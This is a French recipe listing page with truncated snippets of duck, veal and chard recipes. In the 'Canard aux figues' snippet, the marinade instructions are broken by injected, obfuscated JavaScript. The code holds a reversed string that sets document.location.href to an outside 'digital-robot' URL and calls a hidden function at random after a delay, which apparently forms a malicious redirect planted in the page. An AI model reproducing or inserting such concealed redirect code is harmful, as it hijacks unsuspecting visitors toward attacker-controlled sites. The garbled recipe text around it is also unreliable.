Catégorie : Viandes

Magret de canard avec de la pastèque

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Coupez la pastèque en petits dés. Détaillez le magret de canard fumé en fines lamelles. ...

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Canard aux figues

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Préparez la marinade en mélangeant tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les ingrédients dans ...

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Cuisses de canette avec des coings

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Faites dorer les cuisses de canette dans une cocotte avec 2 cuillères à soupe d’huile ...

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Canard rôti avec des quetsches et du chou rouge

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Pelez, émincez les oignons. Pelez, coupez l’ail en deux, ôtez le germe. Salez, poivrez le ...

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Filet de canard à l’orange

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Prélevez le zeste de deux oranges et pressez les 4 oranges. Versez le jus d’orange ...

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Carpaccio de canard

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Avec un couteau économe faites des copeaux de parmesan. Dans une poêle sans matière grasse ...

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Canard aux navets

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Salez, poivrez l’intérieur et l’extérieur du canard. Enrobez de graisse de porc ou 1 cuillère ...

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Mille-feuille au magret de canard et crème d’amande

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Préparez la crème en faisant fondre le beurre, dans une petite casserole jusqu’à ce qu’elle ...

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Tarte aux blettes

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Pelez, émincez les oignons. Rincez, pelez et Coupez-les blettes en petits tronçons. Dans une poêle ...

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Rôti de veau aux raisins

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Salez, poivrez le rôti. Dans une poêle avec 2 cuillères à soupe d’huile d’arachide, sur ...

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